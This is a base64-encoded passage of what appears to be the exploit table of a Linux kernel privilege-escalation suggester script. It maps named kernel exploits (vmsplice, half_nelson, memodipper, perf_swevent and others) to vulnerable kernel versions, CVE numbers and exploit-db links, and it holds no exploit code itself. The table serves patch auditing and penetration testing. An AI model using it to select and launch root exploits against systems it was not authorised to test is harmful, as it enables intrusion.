CAgICB2dWxuID0+IFsgJzIuNi4xMycsICcyLjYuMTQnLCAnMi42LjE1JywgJzIuNi4xNicsICcyLjYuMTcnIF0sCiAgICAgICAgY3ZlICA9PiAnMjAwNi0yNDUxJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMjAzMScsCiAgICB9LAogICAgJ3ByY3RsJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yMDA0JywKICAgIH0sCiAgICAncHJjdGwyJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yMDA1JywKICAgIH0sCiAgICAncHJjdGwzJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yMDA2JywKICAgIH0sCiAgICAncHJjdGw0JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yMDExJywKICAgIH0sCiAgICAncmVtYXAnICAgICAgPT4geyB2dWxuID0+IFsnMi40J10gfSwKICAgICdyaXAnICAgICAgICA9PiB7IHZ1bG4gPT4gWycyLjInXSB9LAogICAgJ3N0YWNrZ3JvdzInID0+IHsgdnVsbiA9PiBbICcyLjQuMjknLCAnMi42LjEwJyBdIH0sCiAgICAndXNlbGliMjQnID0+IHsKICAgICAgICB2dWxuID0+IFsgJzIuNi4xMCcsICcyLjQuMTcnLCAnMi40LjIyJywgJzIuNC4yNScsICcyLjQuMjcnLCAnMi40LjI5JyBdCiAgICB9LAogICAgJ25ld3NtcCcgICA9PiB7IHZ1bG4gPT4gWycyLjYnXSB9LAogICAgJ3NtcHJhY2VyJyA9PiB7IHZ1bG4gPT4gWycyLjQuMjknXSB9LAogICAgJ2xvZ2lueCcgICA9PiB7IHZ1bG4gPT4gWycyLjQuMjInXSB9LAogICAgJ2V4cC5zaCcgICA9PiB7IHZ1bG4gPT4gWyAnMi42LjknLCAnMi42LjEwJywgJzIuNi4xNicsICcyLjYuMTMnIF0gfSwKICAgICd2bXNwbGljZTEnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4xNycsICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywKICAgICAgICAgICAgJzIuNi4yMycsICcyLjYuMjQnLCAnMi42LjI0LjEnLAogICAgICAgIF0sCiAgICAgICAgYWx0ID0+ICdqZXNzaWNhIGJpZWwnLAogICAgICAgIGN2ZSA9PiAnMjAwOC0wNjAwJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNTA5MicsCiAgICB9LAogICAgJ3Ztc3BsaWNlMicgPT4gewogICAgICAgIHZ1bG4gPT4gWyAnMi42LjIzJywgJzIuNi4yNCcgXSwKICAgICAgICBhbHQgID0+ICdkaWFuZV9sYW5lJywKICAgICAgICBjdmUgID0+ICcyMDA4LTA2MDAnLAogICAgICAgIG1pbCAgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNTA5MycsCiAgICB9LAogICAgJ3Zjb25zb2xlJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbJzIuNiddLAogICAgICAgIGN2ZSAgPT4gJzIwMDktMTA0NicsCiAgICB9LAogICAgJ3NjdHAnID0+IHsKICAgICAgICB2dWxuID0+IFsnMi42LjI2J10sCiAgICAgICAgY3ZlICA9PiAnMjAwOC00MTEzJywKICAgIH0sCiAgICAnZnRyZXgnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4xMScsICcyLjYuMTInLCAnMi42LjEzJywgJzIuNi4xNCcsICcyLjYuMTUnLCAnMi42LjE2JywKICAgICAgICAgICAgJzIuNi4xNycsICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywKICAgICAgICBdLAogICAgICAgIGN2ZSA9PiAnMjAwOC00MjEwJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvNjg1MScsCiAgICB9LAogICAgJ2V4aXRfbm90aWZ5JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMjUnLCAnMi42LjI2JywgJzIuNi4yNycsICcyLjYuMjgnLCAnMi42LjI5JyBdLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy84MzY5JywKICAgIH0sCiAgICAndWRldicgPT4gewogICAgICAgIHZ1bG4gPT4gWyAnMi42LjI1JywgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScgXSwKICAgICAgICBhbHQgID0+ICd1ZGV2IDwxLjQuMScsCiAgICAgICAgY3ZlICA9PiAnMjAwOS0xMTg1JywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvODQ3OCcsCiAgICB9LAoKICAgICdzb2NrX3NlbmRwYWdlMicgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi40LjQnLCAgJzIuNC41JywgICcyLjQuNicsICAnMi40LjcnLCAgJzIuNC44JywgICcyLjQuOScsCiAgICAgICAgICAgICcyLjQuMTAnLCAnMi40LjExJywgJzIuNC4xMicsICcyLjQuMTMnLCAnMi40LjE0JywgJzIuNC4xNScsCiAgICAgICAgICAgICcyLjQuMTYnLCAnMi40LjE3JywgJzIuNC4xOCcsICcyLjQuMTknLCAnMi40LjIwJywgJzIuNC4yMScsCiAgICAgICAgICAgICcyLjQuMjInLCAnMi40LjIzJywgJzIuNC4yNCcsICcyLjQuMjUnLCAnMi40LjI2JywgJzIuNC4yNycsCiAgICAgICAgICAgICcyLjQuMjgnLCAnMi40LjI5JywgJzIuNC4zMCcsICcyLjQuMzEnLCAnMi40LjMyJywgJzIuNC4zMycsCiAgICAgICAgICAgICcyLjQuMzQnLCAnMi40LjM1JywgJzIuNC4zNicsICcyLjQuMzcnLCAnMi42LjAnLCAgJzIuNi4xJywKICAgICAgICAgICAgJzIuNi4yJywgICcyLjYuMycsICAnMi42LjQnLCAgJzIuNi41JywgICcyLjYuNicsICAnMi42LjcnLAogICAgICAgICAgICAnMi42LjgnLCAgJzIuNi45JywgICcyLjYuMTAnLCAnMi42LjExJywgJzIuNi4xMicsICcyLjYuMTMnLAogICAgICAgICAgICAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JywgJzIuNi4xOCcsICcyLjYuMTknLAogICAgICAgICAgICAnMi42LjIwJywgJzIuNi4yMScsICcyLjYuMjInLCAnMi42LjIzJywgJzIuNi4yNCcsICcyLjYuMjUnLAogICAgICAgICAgICAnMi42LjI2JywgJzIuNi4yNycsICcyLjYuMjgnLCAnMi42LjI5JywgJzIuNi4zMCcsCiAgICAgICAgXSwKICAgICAgICBhbHQgPT4gJ3Byb3RvX29wcycsCiAgICAgICAgY3ZlID0+ICcyMDA5LTI2OTInLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy85NDM2JywKICAgIH0sCgogICAgJ3NvY2tfc2VuZHBhZ2UnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNC40JywgICcyLjQuNScsICAnMi40LjYnLCAgJzIuNC43JywgICcyLjQuOCcsICAnMi40LjknLAogICAgICAgICAgICAnMi40LjEwJywgJzIuNC4xMScsICcyLjQuMTInLCAnMi40LjEzJywgJzIuNC4xNCcsICcyLjQuMTUnLAogICAgICAgICAgICAnMi40LjE2JywgJzIuNC4xNycsICcyLjQuMTgnLCAnMi40LjE5JywgJzIuNC4yMCcsICcyLjQuMjEnLAogICAgICAgICAgICAnMi40LjIyJywgJzIuNC4yMycsICcyLjQuMjQnLCAnMi40LjI1JywgJzIuNC4yNicsICcyLjQuMjcnLAogICAgICAgICAgICAnMi40LjI4JywgJzIuNC4yOScsICcyLjQuMzAnLCAnMi40LjMxJywgJzIuNC4zMicsICcyLjQuMzMnLAogICAgICAgICAgICAnMi40LjM0JywgJzIuNC4zNScsICcyLjQuMzYnLCAnMi40LjM3JywgJzIuNi4wJywgICcyLjYuMScsCiAgICAgICAgICAgICcyLjYuMicsICAnMi42LjMnLCAgJzIuNi40JywgICcyLjYuNScsICAnMi42LjYnLCAgJzIuNi43JywKICAgICAgICAgICAgJzIuNi44JywgICcyLjYuOScsICAnMi42LjEwJywgJzIuNi4xMScsICcyLjYuMTInLCAnMi42LjEzJywKICAgICAgICAgICAgJzIuNi4xNCcsICcyLjYuMTUnLCAnMi42LjE2JywgJzIuNi4xNycsICcyLjYuMTgnLCAnMi42LjE5JywKICAgICAgICAgICAgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywgJzIuNi4yMycsICcyLjYuMjQnLCAnMi42LjI1JywKICAgICAgICAgICAgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScsICcyLjYuMzAnLAogICAgICAgIF0sCiAgICAgICAgYWx0ID0+ICd3dW5kZXJiYXJfZW1wb3JpdW0nLAogICAgICAgIGN2ZSA9PiAnMjAwOS0yNjkyJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvOTQzNScsCiAgICB9LAogICAgJ3VkcF9zZW5kbXNnXzMyYml0JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMScsICAnMi42LjInLCAgJzIuNi4zJywgICcyLjYuNCcsICAnMi42LjUnLCAgJzIuNi42JywKICAgICAgICAgICAgJzIuNi43JywgICcyLjYuOCcsICAnMi42LjknLCAgJzIuNi4xMCcsICcyLjYuMTEnLCAnMi42LjEyJywKICAgICAgICAgICAgJzIuNi4xMycsICcyLjYuMTQnLCAnMi42LjE1JywgJzIuNi4xNicsICcyLjYuMTcnLCAnMi42LjE4JywKICAgICAgICAgICAgJzIuNi4xOScsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMDktMjY5OCcsCiAgICAgICAgbWlsID0+CiAgICAgICAgICAnaHR0cDovL2Rvd25sb2Fkcy5zZWN1cml0eWZvY3VzLmNvbS92dWxuZXJhYmlsaXRpZXMvZXhwbG9pdHMvMzYxMDguYycsCiAgICB9LAogICAgJ3BpcGUuY18zMmJpdCcgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi40LjQnLCAgJzIuNC41JywgICcyLjQuNicsICAnMi40LjcnLCAgJzIuNC44JywgICcyLjQuOScsCiAgICAgICAgICAgICcyLjQuMTAnLCAnMi40LjExJywgJzIuNC4xMicsICcyLjQuMTMnLCAnMi40LjE0JywgJzIuNC4xNScsCiAgICAgICAgICAgICcyLjQuMTYnLCAnMi40LjE3JywgJzIuNC4xOCcsICcyLjQuMTknLCAnMi40LjIwJywgJzIuNC4yMScsCiAgICAgICAgICAgICcyLjQuMjInLCAnMi40LjIzJywgJzIuNC4yNCcsICcyLjQuMjUnLCAnMi40LjI2JywgJzIuNC4yNycsCiAgICAgICAgICAgICcyLjQuMjgnLCAnMi40LjI5JywgJzIuNC4zMCcsICcyLjQuMzEnLCAnMi40LjMyJywgJzIuNC4zMycsCiAgICAgICAgICAgICcyLjQuMzQnLCAnMi40LjM1JywgJzIuNC4zNicsICcyLjQuMzcnLCAnMi42LjE1JywgJzIuNi4xNicsCiAgICAgICAgICAgICcyLjYuMTcnLCAnMi42LjE4JywgJzIuNi4xOScsICcyLjYuMjAnLCAnMi42LjIxJywgJzIuNi4yMicsCiAgICAgICAgICAgICcyLjYuMjMnLCAnMi42LjI0JywgJzIuNi4yNScsICcyLjYuMjYnLCAnMi42LjI3JywgJzIuNi4yOCcsCiAgICAgICAgICAgICcyLjYuMjknLCAnMi42LjMwJywgJzIuNi4zMScsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMDktMzU0NycsCiAgICAgICAgbWlsID0+CiAgICAgICAgICAnaHR0cDovL3d3dy5zZWN1cml0eWZvY3VzLmNvbS9kYXRhL3Z1bG5lcmFiaWxpdGllcy9leHBsb2l0cy8zNjkwMS0xLmMnLAogICAgfSwKICAgICdkb19wYWdlc19tb3ZlJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywgJzIuNi4yMycsCiAgICAgICAgICAgICcyLjYuMjQnLCAnMi42LjI1JywgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScsCiAgICAgICAgICAgICcyLjYuMzAnLCAnMi42LjMxJywKICAgICAgICBdLAogICAgICAgIGFsdCA9PiAnc2lldmUnLAogICAgICAgIGN2ZSA9PiAnMjAxMC0wNDE1JywKICAgICAgICBtaWwgPT4gJ1NwZW5kZXJzIEVubGlnaHRlbm1lbnQnLAogICAgfSwKICAgICdyZWlzZXJmcycgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjE4JywgJzIuNi4xOScsICcyLjYuMjAnLCAnMi42LjIxJywgJzIuNi4yMicsICcyLjYuMjMnLAogICAgICAgICAgICAnMi42LjI0JywgJzIuNi4yNScsICcyLjYuMjYnLCAnMi42LjI3JywgJzIuNi4yOCcsICcyLjYuMjknLAogICAgICAgICAgICAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTAtMTE0NicsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzEyMTMwJywKICAgIH0sCiAgICAnY2FuX2JjbScgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjE4JywgJzIuNi4xOScsICcyLjYuMjAnLCAnMi42LjIxJywgJzIuNi4yMicsICcyLjYuMjMnLAogICAgICAgICAgICAnMi42LjI0JywgJzIuNi4yNScsICcyLjYuMjYnLCAnMi42LjI3JywgJzIuNi4yOCcsICcyLjYuMjknLAogICAgICAgICAgICAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsICcyLjYuMzUnLAogICAgICAgICAgICAnMi42LjM2JywKICAgICAgICBdLAogICAgICAgIGN2ZSA9PiAnMjAxMC0yOTU5JywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMTQ4MTQnLAogICAgfSwKICAgICdyZHMnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4zMCcsICcyLjYuMzEnLCAnMi42LjMyJywgJzIuNi4zMycsCiAgICAgICAgICAgICcyLjYuMzQnLCAnMi42LjM1JywgJzIuNi4zNicsCiAgICAgICAgXSwKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMTUyODUnLAogICAgICAgIGN2ZSA9PiAnMjAxMC0zOTA0JywKICAgIH0sCiAgICAnaGFsZl9uZWxzb24xJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMCcsICAnMi42LjEnLCAgJzIuNi4yJywgICcyLjYuMycsICAnMi42LjQnLCAgJzIuNi41JywKICAgICAgICAgICAgJzIuNi42JywgICcyLjYuNycsICAnMi42LjgnLCAgJzIuNi45JywgICcyLjYuMTAnLCAnMi42LjExJywKICAgICAgICAgICAgJzIuNi4xMicsICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JywKICAgICAgICAgICAgJzIuNi4xOCcsICcyLjYuMTknLCAnMi42LjIwJywgJzIuNi4yMScsICcyLjYuMjInLCAnMi42LjIzJywKICAgICAgICAgICAgJzIuNi4yNCcsICcyLjYuMjUnLCAnMi42LjI2JywgJzIuNi4yNycsICcyLjYuMjgnLCAnMi42LjI5JywKICAgICAgICAgICAgJzIuNi4zMCcsICcyLjYuMzEnLCAnMi42LjMyJywgJzIuNi4zMycsICcyLjYuMzQnLCAnMi42LjM1JywKICAgICAgICAgICAgJzIuNi4zNicsCiAgICAgICAgXSwKICAgICAgICBhbHQgPT4gJ2Vjb25ldCcsCiAgICAgICAgY3ZlID0+ICcyMDEwLTM4NDgnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8xNzc4NycsCiAgICB9LAogICAgJ2hhbGZfbmVsc29uMicgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjAnLCAgJzIuNi4xJywgICcyLjYuMicsICAnMi42LjMnLCAgJzIuNi40JywgICcyLjYuNScsCiAgICAgICAgICAgICcyLjYuNicsICAnMi42LjcnLCAgJzIuNi44JywgICcyLjYuOScsICAnMi42LjEwJywgJzIuNi4xMScsCiAgICAgICAgICAgICcyLjYuMTInLCAnMi42LjEzJywgJzIuNi4xNCcsICcyLjYuMTUnLCAnMi42LjE2JywgJzIuNi4xNycsCiAgICAgICAgICAgICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywgJzIuNi4yMycsCiAgICAgICAgICAgICcyLjYuMjQnLCAnMi42LjI1JywgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScsCiAgICAgICAgICAgICcyLjYuMzAnLCAnMi42LjMxJywgJzIuNi4zMicsICcyLjYuMzMnLCAnMi42LjM0JywgJzIuNi4zNScsCiAgICAgICAgICAgICcyLjYuMzYnLAogICAgICAgIF0sCiAgICAgICAgYWx0ID0+ICdlY29uZXQnLAogICAgICAgIGN2ZSA9PiAnMjAxMC0zODUwJywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvMTc3ODcnLAogICAgfSwKICAgICdoYWxmX25lbHNvbjMnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4wJywgICcyLjYuMScsICAnMi42LjInLCAgJzIuNi4zJywgICcyLjYuNCcsICAnMi42LjUnLAogICAgICAgICAgICAnMi42LjYnLCAgJzIuNi43JywgICcyLjYuOCcsICAnMi42LjknLCAgJzIuNi4xMCcsICcyLjYuMTEnLAogICAgICAgICAgICAnMi42LjEyJywgJzIuNi4xMycsICcyLjYuMTQnLCAnMi42LjE1JywgJzIuNi4xNicsICcyLjYuMTcnLAogICAgICAgICAgICAnMi42LjE4JywgJzIuNi4xOScsICcyLjYuMjAnLCAnMi42LjIxJywgJzIuNi4yMicsICcyLjYuMjMnLAogICAgICAgICAgICAnMi42LjI0JywgJzIuNi4yNScsICcyLjYuMjYnLCAnMi42LjI3JywgJzIuNi4yOCcsICcyLjYuMjknLAogICAgICAgICAgICAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsICcyLjYuMzUnLAogICAgICAgICAgICAnMi42LjM2JywKICAgICAgICBdLAogICAgICAgIGFsdCA9PiAnZWNvbmV0JywKICAgICAgICBjdmUgPT4gJzIwMTAtNDA3MycsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzE3Nzg3JywKICAgIH0sCiAgICAnY2Fwc190b19yb290JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbICcyLjYuMzQnLCAnMi42LjM1JywgJzIuNi4zNicgXSwKICAgICAgICBjdmUgID0+ICduL2EnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8xNTkxNicsCiAgICB9LAogICAgJ2FtZXJpY2FuLXNpZ24tbGFuZ3VhZ2UnID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzIuNi4wJywgICcyLjYuMScsICAnMi42LjInLCAgJzIuNi4zJywgICcyLjYuNCcsICAnMi42LjUnLAogICAgICAgICAgICAnMi42LjYnLCAgJzIuNi43JywgICcyLjYuOCcsICAnMi42LjknLCAgJzIuNi4xMCcsICcyLjYuMTEnLAogICAgICAgICAgICAnMi42LjEyJywgJzIuNi4xMycsICcyLjYuMTQnLCAnMi42LjE1JywgJzIuNi4xNicsICcyLjYuMTcnLAogICAgICAgICAgICAnMi42LjE4JywgJzIuNi4xOScsICcyLjYuMjAnLCAnMi42LjIxJywgJzIuNi4yMicsICcyLjYuMjMnLAogICAgICAgICAgICAnMi42LjI0JywgJzIuNi4yNScsICcyLjYuMjYnLCAnMi42LjI3JywgJzIuNi4yOCcsICcyLjYuMjknLAogICAgICAgICAgICAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsICcyLjYuMzUnLAogICAgICAgICAgICAnMi42LjM2JywKICAgICAgICBdLAogICAgICAgIGN2ZSA9PiAnMjAxMC00MzQ3JywKICAgICAgICBtaWwgPT4gJ2h0dHA6Ly93d3cuc2VjdXJpdHlmb2N1cy5jb20vYmlkLzQ1NDA4JywKICAgIH0sCiAgICAncGt0Y2R2ZCcgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjAnLCAgJzIuNi4xJywgICcyLjYuMicsICAnMi42LjMnLCAgJzIuNi40JywgICcyLjYuNScsCiAgICAgICAgICAgICcyLjYuNicsICAnMi42LjcnLCAgJzIuNi44JywgICcyLjYuOScsICAnMi42LjEwJywgJzIuNi4xMScsCiAgICAgICAgICAgICcyLjYuMTInLCAnMi42LjEzJywgJzIuNi4xNCcsICcyLjYuMTUnLCAnMi42LjE2JywgJzIuNi4xNycsCiAgICAgICAgICAgICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywgJzIuNi4yMycsCiAgICAgICAgICAgICcyLjYuMjQnLCAnMi42LjI1JywgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI4JywgJzIuNi4yOScsCiAgICAgICAgICAgICcyLjYuMzAnLCAnMi42LjMxJywgJzIuNi4zMicsICcyLjYuMzMnLCAnMi42LjM0JywgJzIuNi4zNScsCiAgICAgICAgICAgICcyLjYuMzYnLAogICAgICAgIF0sCiAgICAgICAgY3ZlID0+ICcyMDEwLTM0MzcnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8xNTE1MCcsCiAgICB9LAogICAgJ3ZpZGVvNGxpbnV4JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMCcsICAnMi42LjEnLCAgJzIuNi4yJywgICcyLjYuMycsICAnMi42LjQnLCAgJzIuNi41JywKICAgICAgICAgICAgJzIuNi42JywgICcyLjYuNycsICAnMi42LjgnLCAgJzIuNi45JywgICcyLjYuMTAnLCAnMi42LjExJywKICAgICAgICAgICAgJzIuNi4xMicsICcyLjYuMTMnLCAnMi42LjE0JywgJzIuNi4xNScsICcyLjYuMTYnLCAnMi42LjE3JywKICAgICAgICAgICAgJzIuNi4xOCcsICcyLjYuMTknLCAnMi42LjIwJywgJzIuNi4yMScsICcyLjYuMjInLCAnMi42LjIzJywKICAgICAgICAgICAgJzIuNi4yNCcsICcyLjYuMjUnLCAnMi42LjI2JywgJzIuNi4yNycsICcyLjYuMjgnLCAnMi42LjI5JywKICAgICAgICAgICAgJzIuNi4zMCcsICcyLjYuMzEnLCAnMi42LjMyJywgJzIuNi4zMycsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTAtMzA4MScsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzE1MDI0JywKICAgIH0sCiAgICAnbWVtb2RpcHBlcicgPT4gewogICAgICAgIHZ1bG4gPT4gWwogICAgICAgICAgICAnMi42LjM5JywgJzMuMC4wJywgJzMuMC4xJywgJzMuMC4yJywgJzMuMC4zJywgJzMuMC40JywKICAgICAgICAgICAgJzMuMC41JywgICczLjAuNicsICczLjEuMCcsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTItMDA1NicsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzE4NDExJywKICAgIH0sCiAgICAnc2VtdGV4JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMzcnLCAnMi42LjM4JywgJzIuNi4zOScsICczLjAuMCcsICczLjAuMScsICczLjAuMicsCiAgICAgICAgICAgICczLjAuMycsICAnMy4wLjQnLCAgJzMuMC41JywgICczLjAuNicsICczLjEuMCcsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTMtMjA5NCcsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzI1NDQ0JywKICAgIH0sCiAgICAncGVyZl9zd2V2ZW50JyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICczLjAuMCcsICczLjAuMScsICczLjAuMicsICczLjAuMycsICczLjAuNCcsICczLjAuNScsCiAgICAgICAgICAgICczLjAuNicsICczLjEuMCcsICczLjIuMCcsICczLjMuMCcsICczLjQuMCcsICczLjQuMScsCiAgICAgICAgICAgICczLjQuMicsICczLjQuMycsICczLjQuNCcsICczLjQuNScsICczLjQuNicsICczLjQuOCcsCiAgICAgICAgICAgICczLjQuOScsICczLjUuMCcsICczLjYuMCcsICczLjcuMCcsICczLjguMCcsICczLjguMScsCiAgICAgICAgICAgICczLjguMicsICczLjguMycsICczLjguNCcsICczLjguNScsICczLjguNicsICczLjguNycsCiAgICAgICAgICAgICczLjguOCcsICczLjguOScsCiAgICAgICAgXSwKICAgICAgICBjdmUgPT4gJzIwMTMtMjA5NCcsCiAgICAgICAgbWlsID0+ICdodHRwOi8vd3d3LmV4cGxvaXQtZGIuY29tL2V4cGxvaXRzLzI2MTMxJywKICAgIH0sCiAgICAnbXNyJyA9PiB7CiAgICAgICAgdnVsbiA9PiBbCiAgICAgICAgICAgICcyLjYuMTgnLCAnMi42LjE5JywgJzIuNi4yMCcsICcyLjYuMjEnLCAnMi42LjIyJywgJzIuNi4yMycsCiAgICAgICAgICAgICcyLjYuMjQnLCAnMi42LjI1JywgJzIuNi4yNicsICcyLjYuMjcnLCAnMi42LjI3JywgJzIuNi4yOCcsCiAgICAgICAgICAgICcyLjYuMjknLCAnMi42LjMwJywgJzIuNi4zMScsICcyLjYuMzInLCAnMi42LjMzJywgJzIuNi4zNCcsCiAgICAgICAgICAgICcyLjYuMzUnLCAnMi42LjM2JywgJzIuNi4zNycsICcyLjYuMzgnLCAnMi42LjM5JywgJzMuMC4wJywKICAgICAgICAgICAgJzMuMC4xJywgICczLjAuMicsICAnMy4wLjMnLCAgJzMuMC40JywgICczLjAuNScsICAnMy4wLjYnLAogICAgICAgICAgICAnMy4xLjAnLCAgJzMuMi4wJywgICczLjMuMCcsICAnMy40LjAnLCAgJzMuNS4wJywgICczLjYuMCcsCiAgICAgICAgICAgICczLjcuMCcsICAnMy43LjYnLAogICAgICAgIF0sCiAgICAgICAgY3ZlID0+ICcyMDEzLTAyNjgnLAogICAgICAgIG1pbCA9PiAnaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy8yNzI5NycsCiAgICB9LAogICAgJ3RpbWVvdXRwd24nID0+IHsKICAgICAgICB2dWxuID0+IFsKICAgICAgICAgICAgJzMuNC4wJywgICczLjUuMCcsICAnMy42LjAnLCAgJzMuNy4wJywgICczLjguMCcsICAnMy44LjknLCAKICAgICAgICAgICAgJzMuOS4wJywgICczLjEwLjAnLCAnMy4xMS4wJywgJzMuMTIuMCcsICczLjEzLjAnLCAnMy40LjAnLAogICAgICAgICAgICAnMy41LjAnLCAgJzMuNi4wJywgICczLjcuMCcsICAnMy44LjAnLCAgJzMuOC41JywgICczLjguNicsICAKICAgICAgICAgICAgJzMuOC45JywgICczLjkuMCcsICAnMy45LjYnLCAgJzMuMTAuMCcsICczLjEwLjYnLCAnMy4xMS4wJywKICAgICAgICAgICAgJzMuMTIuMCcsICczLjEzLjAnLCAnMy4xMy4xJwogICAgICAgIF0sCiAgICAgICAgY